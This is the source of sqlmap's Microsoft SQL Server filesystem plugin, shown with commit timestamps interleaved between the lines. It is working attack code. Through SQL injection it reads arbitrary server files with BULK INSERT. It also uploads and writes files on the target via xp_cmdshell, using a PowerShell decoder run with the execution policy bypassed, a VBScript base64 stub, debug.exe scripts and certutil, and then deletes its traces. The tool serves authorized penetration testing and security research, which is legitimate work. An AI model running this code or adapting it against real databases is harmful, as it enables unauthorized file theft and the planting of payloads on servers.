2013-02-14 15:32:17 +04:00
#!/usr/bin/env python
2010-03-23 01:57:57 +03:00
"""
2018-01-02 02:48:10 +03:00
Copyright ( c ) 2006 - 2018 sqlmap developers ( http : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2010-03-23 01:57:57 +03:00
"""
2010-04-23 20:34:20 +04:00
import ntpath
2010-03-23 01:57:57 +03:00
import os
2012-02-16 18:42:28 +04:00
from lib . core . common import getLimitRange
2010-12-18 00:45:20 +03:00
from lib . core . common import isNumPosStrValue
2011-01-12 04:13:32 +03:00
from lib . core . common import isTechniqueAvailable
2010-03-23 01:57:57 +03:00
from lib . core . common import posixToNtSlashes
from lib . core . common import randomStr
2012-04-25 11:40:42 +04:00
from lib . core . common import readInput
2014-06-30 21:07:45 +04:00
from lib . core . convert import base64encode
2012-04-25 11:40:42 +04:00
from lib . core . convert import hexencode
2010-03-23 01:57:57 +03:00
from lib . core . data import conf
from lib . core . data import logger
2012-02-29 18:36:23 +04:00
from lib . core . enums import CHARSET_TYPE
2012-04-04 13:25:05 +04:00
from lib . core . enums import EXPECTED
2011-01-15 13:14:05 +03:00
from lib . core . enums import PAYLOAD
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapNoneDataException
from lib . core . exception import SqlmapUnsupportedFeatureException
2010-03-23 01:57:57 +03:00
from lib . request import inject
from plugins . generic . filesystem import Filesystem as GenericFilesystem
class Filesystem ( GenericFilesystem ) :
def __init__ ( self ) :
GenericFilesystem . __init__ ( self )
2012-12-06 17:14:19 +04:00
def _dataToScr ( self , fileContent , chunkName ) :
2012-04-25 11:40:42 +04:00
fileLines = [ ]
fileSize = len ( fileContent )
lineAddr = 0x100
lineLen = 20
fileLines . append ( " n %s " % chunkName )
fileLines . append ( " rcx " )
fileLines . append ( " %x " % fileSize )
fileLines . append ( " f 0100 %x 00 " % fileSize )
for fileLine in xrange ( 0 , len ( fileContent ) , lineLen ) :
scrString = " "
2013-01-10 16:18:44 +04:00
for lineChar in fileContent [ fileLine : fileLine + lineLen ] :
2017-09-21 15:35:24 +03:00
strLineChar = hexencode ( lineChar , conf . encoding )
2012-04-25 11:40:42 +04:00
if not scrString :
scrString = " e %x %s " % ( lineAddr , strLineChar )
else :
scrString + = " %s " % strLineChar
lineAddr + = len ( lineChar )
fileLines . append ( scrString )
fileLines . append ( " w " )
fileLines . append ( " q " )
return fileLines
2012-12-06 17:14:19 +04:00
def _updateDestChunk ( self , fileContent , tmpPath ) :
2012-04-25 11:40:42 +04:00
randScr = " tmpf %s .scr " % randomStr ( lowercase = True )
chunkName = randomStr ( lowercase = True )
2012-12-06 17:14:19 +04:00
fileScrLines = self . _dataToScr ( fileContent , chunkName )
2012-04-25 11:40:42 +04:00
logger . debug ( " uploading debug script to %s \ %s , please wait.. " % ( tmpPath , randScr ) )
self . xpCmdshellWriteFile ( fileScrLines , tmpPath , randScr )
logger . debug ( " generating chunk file %s \ %s from debug script %s " % ( tmpPath , chunkName , randScr ) )
2018-03-13 15:45:42 +03:00
commands = (
" cd \" %s \" " % tmpPath ,
" debug < %s " % randScr ,
" del /F /Q %s " % randScr
)
2012-04-25 11:40:42 +04:00
2018-03-13 15:45:42 +03:00
self . execCmd ( " & " . join ( command for command in commands ) )
2012-04-25 11:40:42 +04:00
return chunkName
2010-03-23 01:57:57 +03:00
def stackedReadFile ( self , rFile ) :
infoMsg = " fetching file: ' %s ' " % rFile
logger . info ( infoMsg )
result = [ ]
txtTbl = self . fileTblName
hexTbl = " %s hex " % self . fileTblName
self . createSupportTbl ( txtTbl , self . tblField , " text " )
inject . goStacked ( " DROP TABLE %s " % hexTbl )
inject . goStacked ( " CREATE TABLE %s (id INT IDENTITY(1, 1) PRIMARY KEY, %s %s ) " % ( hexTbl , self . tblField , " VARCHAR(4096) " ) )
logger . debug ( " loading the content of file ' %s ' into support table " % rFile )
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( txtTbl , rFile , randomStr ( 10 ) , randomStr ( 10 ) ) , silent = True )
# Reference: http://support.microsoft.com/kb/104829
2012-02-17 19:16:05 +04:00
binToHexQuery = """ DECLARE @charset VARCHAR(16)
2010-03-23 01:57:57 +03:00
DECLARE @counter INT
DECLARE @hexstr VARCHAR ( 4096 )
DECLARE @length INT
DECLARE @chunk INT
SET @charset = ' 0123456789ABCDEF '
SET @counter = 1
SET @hexstr = ' '
SET @length = ( SELECT DATALENGTH ( % s ) FROM % s )
SET @chunk = 1024
WHILE ( @counter < = @length )
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT ( INT , ( SELECT ASCII ( SUBSTRING ( % s , @counter , 1 ) ) FROM % s ) )
SET @firstint = floor ( @tempint / 16 )
SET @secondint = @tempint - ( @firstint * 16 )
SET @hexstr = @hexstr + SUBSTRING ( @charset , @firstint + 1 , 1 ) + SUBSTRING ( @charset , @secondint + 1 , 1 )
SET @counter = @counter + 1
IF @counter % % @chunk = 0
BEGIN
INSERT INTO % s ( % s ) VALUES ( @hexstr )
SET @hexstr = ' '
END
END
IF @counter % % ( @chunk ) != 0
BEGIN
INSERT INTO % s ( % s ) VALUES ( @hexstr )
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery . replace ( " " , " " ) . replace ( " \n " , " " )
inject . goStacked ( binToHexQuery )
2011-01-12 04:13:32 +03:00
if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) :
2012-10-28 01:16:25 +04:00
result = inject . getValue ( " SELECT %s FROM %s ORDER BY id ASC " % ( self . tblField , hexTbl ) , resumeValue = False , blind = False , time = False , error = False )
2010-03-23 01:57:57 +03:00
if not result :
result = [ ]
2012-04-04 13:25:05 +04:00
count = inject . getValue ( " SELECT COUNT(*) FROM %s " % ( hexTbl ) , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
2010-03-23 01:57:57 +03:00
2010-12-18 00:45:20 +03:00
if not isNumPosStrValue ( count ) :
2011-04-30 17:20:05 +04:00
errMsg = " unable to retrieve the content of the "
2010-03-23 01:57:57 +03:00
errMsg + = " file ' %s ' " % rFile
2012-12-06 17:14:19 +04:00
raise SqlmapNoneDataException ( errMsg )
2010-03-23 01:57:57 +03:00
2012-02-16 18:42:28 +04:00
indexRange = getLimitRange ( count )
2010-03-23 01:57:57 +03:00
for index in indexRange :
2012-06-16 00:41:53 +04:00
chunk = inject . getValue ( " SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC " % ( self . tblField , hexTbl , self . tblField , index , self . tblField , hexTbl ) , unpack = False , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
2010-03-23 01:57:57 +03:00
result . append ( chunk )
inject . goStacked ( " DROP TABLE %s " % hexTbl )
return result
2013-02-14 17:18:33 +04:00
def unionWriteFile ( self , wFile , dFile , fileType , forceCheck = False ) :
2011-04-30 17:20:05 +04:00
errMsg = " Microsoft SQL Server does not support file upload with "
2010-03-23 01:57:57 +03:00
errMsg + = " UNION query SQL injection technique "
2012-12-06 17:14:19 +04:00
raise SqlmapUnsupportedFeatureException ( errMsg )
2010-03-23 01:57:57 +03:00
2012-12-06 17:14:19 +04:00
def _stackedWriteFilePS ( self , tmpPath , wFileContent , dFile , fileType ) :
2012-04-25 11:40:42 +04:00
infoMsg = " using PowerShell to write the %s file content " % fileType
2014-06-30 21:06:19 +04:00
infoMsg + = " to file ' %s ' " % dFile
2012-04-25 11:40:42 +04:00
logger . info ( infoMsg )
2010-03-23 01:57:57 +03:00
2014-07-01 02:53:04 +04:00
encodedFileContent = base64encode ( wFileContent )
encodedBase64File = " tmpf %s .txt " % randomStr ( lowercase = True )
encodedBase64FilePath = " %s \ %s " % ( tmpPath , encodedBase64File )
2014-07-01 03:26:59 +04:00
randPSScript = " tmpps %s .ps1 " % randomStr ( lowercase = True )
2014-06-30 21:26:40 +04:00
randPSScriptPath = " %s \ %s " % ( tmpPath , randPSScript )
2014-07-01 03:26:59 +04:00
wFileSize = len ( encodedFileContent )
2014-07-01 02:53:04 +04:00
chunkMaxSize = 1024
logger . debug ( " uploading the base64-encoded file to %s , please wait.. " % encodedBase64FilePath )
2012-04-25 11:40:42 +04:00
2014-07-01 02:53:04 +04:00
for i in xrange ( 0 , wFileSize , chunkMaxSize ) :
wEncodedChunk = encodedFileContent [ i : i + chunkMaxSize ]
self . xpCmdshellWriteFile ( wEncodedChunk , tmpPath , encodedBase64File )
2014-07-01 03:26:59 +04:00
psString = " $Base64 = Get-Content -Path \" %s \" ; " % encodedBase64FilePath
psString + = " $Base64 = $Base64 -replace \" `t|`n|`r \" , \" \" ; $Content = "
2014-07-01 02:53:04 +04:00
psString + = " [System.Convert]::FromBase64String($Base64); Set-Content "
2014-07-01 03:26:59 +04:00
psString + = " -Path \" %s \" -Value $Content -Encoding Byte " % dFile
2014-07-01 02:53:04 +04:00
2014-07-01 03:35:02 +04:00
logger . debug ( " uploading the PowerShell base64-decoding script to %s " % randPSScriptPath )
2014-06-30 21:38:18 +04:00
self . xpCmdshellWriteFile ( psString , tmpPath , randPSScript )
2012-04-25 11:40:42 +04:00
2014-07-01 03:35:02 +04:00
logger . debug ( " executing the PowerShell base64-decoding script to write the %s file, please wait.. " % dFile )
2014-06-30 23:43:02 +04:00
2018-03-13 15:45:42 +03:00
commands = (
" powershell -ExecutionPolicy ByPass -File \" %s \" " % randPSScriptPath ,
" del /F /Q \" %s \" " % encodedBase64FilePath ,
" del /F /Q \" %s \" " % randPSScriptPath
)
2014-06-30 23:43:02 +04:00
2018-03-13 15:45:42 +03:00
self . execCmd ( " & " . join ( command for command in commands ) )
2012-04-25 11:40:42 +04:00
2012-12-06 17:14:19 +04:00
def _stackedWriteFileDebugExe ( self , tmpPath , wFile , wFileContent , dFile , fileType ) :
2012-04-25 11:40:42 +04:00
infoMsg = " using debug.exe to write the %s " % fileType
infoMsg + = " file content to file ' %s ' , please wait.. " % dFile
logger . info ( infoMsg )
2010-03-23 01:57:57 +03:00
2011-04-30 17:20:05 +04:00
dFileName = ntpath . basename ( dFile )
2012-04-25 11:40:42 +04:00
sFile = " %s \ %s " % ( tmpPath , dFileName )
2011-04-30 17:20:05 +04:00
wFileSize = os . path . getsize ( wFile )
2012-04-25 11:40:42 +04:00
debugSize = 0xFF00
2010-03-23 01:57:57 +03:00
if wFileSize < debugSize :
2012-12-06 17:14:19 +04:00
chunkName = self . _updateDestChunk ( wFileContent , tmpPath )
2010-03-23 01:57:57 +03:00
2012-04-25 11:40:42 +04:00
debugMsg = " renaming chunk file %s \ %s to %s " % ( tmpPath , chunkName , fileType )
debugMsg + = " file %s \ %s and moving it to %s " % ( tmpPath , dFileName , dFile )
logger . debug ( debugMsg )
2010-03-23 01:57:57 +03:00
2018-03-13 15:45:42 +03:00
commands = (
" cd \" %s \" " % tmpPath ,
" ren %s %s " % ( chunkName , dFileName ) ,
" move /Y %s %s " % ( dFileName , dFile )
)
2010-03-23 01:57:57 +03:00
2018-03-13 15:45:42 +03:00
self . execCmd ( " & " . join ( command for command in commands ) )
2010-03-23 01:57:57 +03:00
else :
2012-04-25 11:40:42 +04:00
debugMsg = " the file is larger than %d bytes. " % debugSize
debugMsg + = " sqlmap will split it into chunks locally, upload "
debugMsg + = " it chunk by chunk and recreate the original file "
debugMsg + = " on the server, please wait.. "
logger . debug ( debugMsg )
2010-03-23 01:57:57 +03:00
2011-10-22 02:34:27 +04:00
for i in xrange ( 0 , wFileSize , debugSize ) :
2010-03-23 01:57:57 +03:00
wFileChunk = wFileContent [ i : i + debugSize ]
2012-12-06 17:14:19 +04:00
chunkName = self . _updateDestChunk ( wFileChunk , tmpPath )
2010-03-23 01:57:57 +03:00
if i == 0 :
2012-04-25 11:40:42 +04:00
debugMsg = " renaming chunk "
2010-03-23 01:57:57 +03:00
copyCmd = " ren %s %s " % ( chunkName , dFileName )
else :
2012-04-25 11:40:42 +04:00
debugMsg = " appending chunk "
2010-03-23 01:57:57 +03:00
copyCmd = " copy /B /Y %s + %s %s " % ( dFileName , chunkName , dFileName )
2012-04-25 11:40:42 +04:00
debugMsg + = " %s \ %s to %s file %s \ %s " % ( tmpPath , chunkName , fileType , tmpPath , dFileName )
logger . debug ( debugMsg )
2010-03-23 01:57:57 +03:00
2018-03-13 15:45:42 +03:00
commands = (
" cd \" %s \" " % tmpPath ,
copyCmd ,
" del /F /Q %s " % chunkName
)
2010-03-23 01:57:57 +03:00
2018-03-13 15:45:42 +03:00
self . execCmd ( " & " . join ( command for command in commands ) )
2010-03-23 01:57:57 +03:00
2012-04-25 11:40:42 +04:00
logger . debug ( " moving %s file %s to %s " % ( fileType , sFile , dFile ) )
2010-03-23 01:57:57 +03:00
2018-03-13 15:45:42 +03:00
commands = (
" cd \" %s \" " % tmpPath ,
" move /Y %s %s " % ( dFileName , dFile )
)
2010-03-23 01:57:57 +03:00
2018-03-13 15:45:42 +03:00
self . execCmd ( " & " . join ( command for command in commands ) )
2010-03-23 01:57:57 +03:00
2012-12-06 17:14:19 +04:00
def _stackedWriteFileVbs ( self , tmpPath , wFileContent , dFile , fileType ) :
2012-04-25 11:40:42 +04:00
infoMsg = " using a custom visual basic script to write the "
infoMsg + = " %s file content to file ' %s ' , please wait.. " % ( fileType , dFile )
logger . info ( infoMsg )
randVbs = " tmps %s .vbs " % randomStr ( lowercase = True )
randFile = " tmpf %s .txt " % randomStr ( lowercase = True )
randFilePath = " %s \ %s " % ( tmpPath , randFile )
vbs = """ Dim inputFilePath, outputFilePath
inputFilePath = " %s "
outputFilePath = " %s "
Set fs = CreateObject ( " Scripting.FileSystemObject " )
Set file = fs . GetFile ( inputFilePath )
If file . Size Then
Wscript . Echo " Loading from: " & inputFilePath
2013-01-04 02:57:07 +04:00
Wscript . Echo
2012-04-25 11:40:42 +04:00
Set fd = fs . OpenTextFile ( inputFilePath , 1 )
data = fd . ReadAll
fd . Close
data = Replace ( data , " " , " " )
data = Replace ( data , vbCr , " " )
data = Replace ( data , vbLf , " " )
2013-01-04 02:57:07 +04:00
Wscript . Echo " Fixed Input: "
2012-04-25 11:40:42 +04:00
Wscript . Echo data
2013-01-04 02:57:07 +04:00
Wscript . Echo
2012-04-25 11:40:42 +04:00
decodedData = base64_decode ( data )
2013-01-04 02:57:07 +04:00
Wscript . Echo " Output: "
2012-04-25 11:40:42 +04:00
Wscript . Echo decodedData
2013-01-04 02:57:07 +04:00
Wscript . Echo
2012-04-25 11:40:42 +04:00
Wscript . Echo " Writing output in: " & outputFilePath
2013-01-04 02:57:07 +04:00
Wscript . Echo
2012-04-25 11:40:42 +04:00
Set ofs = CreateObject ( " Scripting.FileSystemObject " ) . OpenTextFile ( outputFilePath , 2 , True )
ofs . Write decodedData
ofs . close
Else
Wscript . Echo " The file is empty. "
End If
Function base64_decode ( byVal strIn )
Dim w1 , w2 , w3 , w4 , n , strOut
For n = 1 To Len ( strIn ) Step 4
w1 = mimedecode ( Mid ( strIn , n , 1 ) )
w2 = mimedecode ( Mid ( strIn , n + 1 , 1 ) )
w3 = mimedecode ( Mid ( strIn , n + 2 , 1 ) )
w4 = mimedecode ( Mid ( strIn , n + 3 , 1 ) )
If Not w2 Then _
strOut = strOut + Chr ( ( ( w1 * 4 + Int ( w2 / 16 ) ) And 255 ) )
If Not w3 Then _
strOut = strOut + Chr ( ( ( w2 * 16 + Int ( w3 / 4 ) ) And 255 ) )
If Not w4 Then _
strOut = strOut + Chr ( ( ( w3 * 64 + w4 ) And 255 ) )
Next
base64_decode = strOut
End Function
Function mimedecode ( byVal strIn )
Base64Chars = " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ "
If Len ( strIn ) = 0 Then
mimedecode = - 1 : Exit Function
Else
mimedecode = InStr ( Base64Chars , strIn ) - 1
End If
End Function """ % (randFilePath, dFile)
vbs = vbs . replace ( " " , " " )
2014-07-01 02:53:04 +04:00
encodedFileContent = base64encode ( wFileContent )
2012-04-25 11:40:42 +04:00
logger . debug ( " uploading the file base64-encoded content to %s , please wait.. " % randFilePath )
self . xpCmdshellWriteFile ( encodedFileContent , tmpPath , randFile )
logger . debug ( " uploading a visual basic decoder stub %s \ %s , please wait.. " % ( tmpPath , randVbs ) )
self . xpCmdshellWriteFile ( vbs , tmpPath , randVbs )
2018-03-13 15:45:42 +03:00
commands = (
" cd \" %s \" " % tmpPath ,
" cscript //nologo %s " % randVbs ,
" del /F /Q %s " % randVbs ,
" del /F /Q %s " % randFile
)
2012-04-25 11:40:42 +04:00
2018-03-13 15:45:42 +03:00
self . execCmd ( " & " . join ( command for command in commands ) )
2012-04-25 11:40:42 +04:00
2015-04-22 18:21:55 +03:00
def _stackedWriteFileCertutilExe ( self , tmpPath , wFile , wFileContent , dFile , fileType ) :
infoMsg = " using certutil.exe to write the %s " % fileType
infoMsg + = " file content to file ' %s ' , please wait.. " % dFile
logger . info ( infoMsg )
chunkMaxSize = 500
randFile = " tmpf %s .txt " % randomStr ( lowercase = True )
randFilePath = " %s \ %s " % ( tmpPath , randFile )
encodedFileContent = base64encode ( wFileContent )
2018-03-13 15:45:42 +03:00
splittedEncodedFileContent = ' \n ' . join ( [ encodedFileContent [ i : i + chunkMaxSize ] for i in xrange ( 0 , len ( encodedFileContent ) , chunkMaxSize ) ] )
2015-04-22 18:21:55 +03:00
logger . debug ( " uploading the file base64-encoded content to %s , please wait.. " % randFilePath )
self . xpCmdshellWriteFile ( splittedEncodedFileContent , tmpPath , randFile )
logger . debug ( " decoding the file to %s .. " % dFile )
2018-03-13 15:45:42 +03:00
commands = (
" cd \" %s \" " % tmpPath ,
" certutil -f -decode %s %s " % ( randFile , dFile ) ,
" del /F /Q %s " % randFile
)
2015-04-22 18:21:55 +03:00
2018-03-13 15:45:42 +03:00
self . execCmd ( " & " . join ( command for command in commands ) )
2015-04-22 18:21:55 +03:00
2013-01-23 05:27:01 +04:00
def stackedWriteFile ( self , wFile , dFile , fileType , forceCheck = False ) :
2012-04-25 11:40:42 +04:00
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system
self . initEnv ( )
self . getRemoteTempPath ( )
tmpPath = posixToNtSlashes ( conf . tmpPath )
dFile = posixToNtSlashes ( dFile )
2012-12-23 22:34:35 +04:00
with open ( wFile , " rb " ) as f :
wFileContent = f . read ( )
2012-04-25 11:40:42 +04:00
2014-06-30 22:11:01 +04:00
self . _stackedWriteFilePS ( tmpPath , wFileContent , dFile , fileType )
2013-02-14 17:18:33 +04:00
written = self . askCheckWrittenFile ( wFile , dFile , forceCheck )
2012-04-25 11:40:42 +04:00
2013-01-23 05:27:01 +04:00
if written is False :
2012-04-25 11:40:42 +04:00
message = " do you want to try to upload the file with "
2014-06-30 22:11:01 +04:00
message + = " the custom Visual Basic script technique? [Y/n] "
2014-06-30 21:06:19 +04:00
2017-04-18 16:48:05 +03:00
if readInput ( message , default = ' Y ' , boolean = True ) :
2014-06-30 22:11:01 +04:00
self . _stackedWriteFileVbs ( tmpPath , wFileContent , dFile , fileType )
2014-06-30 21:06:19 +04:00
written = self . askCheckWrittenFile ( wFile , dFile , forceCheck )
if written is False :
message = " do you want to try to upload the file with "
2014-06-30 22:11:01 +04:00
message + = " the built-in debug.exe technique? [Y/n] "
2012-04-25 11:40:42 +04:00
2017-04-18 16:48:05 +03:00
if readInput ( message , default = ' Y ' , boolean = True ) :
2012-12-06 17:14:19 +04:00
self . _stackedWriteFileDebugExe ( tmpPath , wFile , wFileContent , dFile , fileType )
2013-01-23 05:27:01 +04:00
written = self . askCheckWrittenFile ( wFile , dFile , forceCheck )
2015-04-22 18:21:55 +03:00
if written is False :
message = " do you want to try to upload the file with "
message + = " the built-in certutil.exe technique? [Y/n] "
2017-04-18 16:48:05 +03:00
if readInput ( message , default = ' Y ' , boolean = True ) :
2015-04-22 18:21:55 +03:00
self . _stackedWriteFileCertutilExe ( tmpPath , wFile , wFileContent , dFile , fileType )
written = self . askCheckWrittenFile ( wFile , dFile , forceCheck )
2013-01-23 05:27:01 +04:00
return written